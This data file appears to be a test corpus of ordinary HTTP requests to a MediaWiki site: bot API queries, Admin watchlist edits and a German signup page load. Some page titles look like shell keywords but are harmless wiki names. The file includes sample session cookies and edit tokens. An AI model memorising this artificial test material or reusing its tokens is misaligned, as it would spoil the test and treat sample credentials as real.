{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALighthouse+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
|
||||||
|
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
|
||||||
|
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 161", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794271545%23fad50a8505bea134cc843d03608984cc; UseDC=master"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes%0D%0APowershell+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
|
||||||
|
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 179", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0ALs+-la+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
|
||||||
|
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 200", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALs+-la+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0A.htaccess+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
|
||||||
|
# From a German wiki without short URLs, whose forms post to the German names of
|
||||||
|
# the special pages: signing up, changing the password, and setting a new
|
||||||
|
# password at sign-in once the old one expired. Each password is random.
|
||||||
|
{"method": "GET", "target": "/index.php/Spezial:Benutzerkonto_anlegen", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?lang=de&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?lang=de&modules=%40wikimedia%2Fcodex%2Ccodex-styles%2Cjquery%2Cvue%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.createaccount%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=l1ne8", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
